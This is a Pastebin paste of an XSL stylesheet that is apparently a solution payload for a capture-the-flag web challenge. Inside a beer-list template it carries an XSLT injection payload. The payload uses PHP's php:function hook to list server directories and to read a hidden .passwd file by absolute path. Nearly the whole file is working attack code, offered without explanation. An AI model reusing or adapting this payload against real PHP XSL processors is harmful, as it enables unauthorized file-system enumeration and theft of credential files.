kkprout

style_green.xsl

Mar 22nd, 2018
144
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.35 KB | None | 0 0
  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
  3. <body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
  4. <xsl:comment>
  5. XSL Vendor
  6. </xsl:comment>
  7. <xsl:value-of select="system-property('xsl:vendor')"/>
  8. <xsl:comment>
  9. Read dir
  10. </xsl:comment>
  11. <xsl:variable name="currentDir" select="php:function('getcwd')"/>
  12. <xsl:variable name="openDir" select="php:function('opendir','./')"/>
  13. <xsl:variable name="dirName" select="php:function('dirname','.')"/>
  14. <xsl:variable name="scanDir" select="php:function('scandir','./')"/>
  15. <xsl:variable name="currentDirText" select="php:function('var_dump',$currentDir)"/>
  16. <xsl:variable name="dir" select="php:function('dir',$currentDirText)"/>
  17. <xsl:value-of select="php:function('var_dump',$currentDir)"/>
  18. <xsl:value-of select="php:function('var_dump',$openDir)"/>
  19. <xsl:value-of select="php:function('opendir','./')"/>
  20. <xsl:value-of select="php:function('readdir')"/>
  21. <xsl:value-of select="php:function('readdir')"/>
  22. <xsl:value-of select="php:function('readdir')"/>
  23. <xsl:value-of select="php:function('readdir')"/>
  24. <xsl:value-of select="php:function('readdir')"/>
  25. <xsl:value-of select="php:function('readdir')"/>
  26. <xsl:value-of select="php:function('readdir')"/>
  27. <xsl:value-of select="php:function('readdir')"/>
  28. <xsl:value-of select="php:function('readdir')"/>
  29. <xsl:value-of select="php:function('readdir')"/>
  30. <xsl:value-of select="php:function('readdir')"/>
  31. <xsl:value-of select="php:function('readdir')"/>
  32. <xsl:value-of select="php:function('readdir')"/>
  33. <xsl:value-of select="php:function('readdir')"/>
  34.  
  35. <xsl:value-of select="php:function('file_get_contents','/challenge/web-serveur/ch50/.6ff3200bee785801f420fba826ffcdee/.passwd')"/>
  36. <xsl:variable name="eval">
  37. eval("var_dump(scandir('.'));")
  38. </xsl:variable>
  39.  
  40. <xsl:comment>
  41. Fin Fion
  42. </xsl:comment>
  43. <xsl:for-each select="beers/beer">
  44. <div style="background-color:teal;color:white;padding:4px">
  45. <span style="font-weight:bold"><xsl:value-of select="name"/> - </span>
  46. <xsl:value-of select="price"/>
  47. </div>
  48. <div style="margin-left:20px;margin-bottom:1em;font-size:10pt">
  49. <p>
  50. <xsl:value-of select="description"/>
  51. <span style="font-style:italic"> (<xsl:value-of select='prct'/> %)</span>
  52. </p>
  53. </div>
  54. </xsl:for-each>
  55. </body>
  56. </html>
Add Comment
Please, Sign In to add comment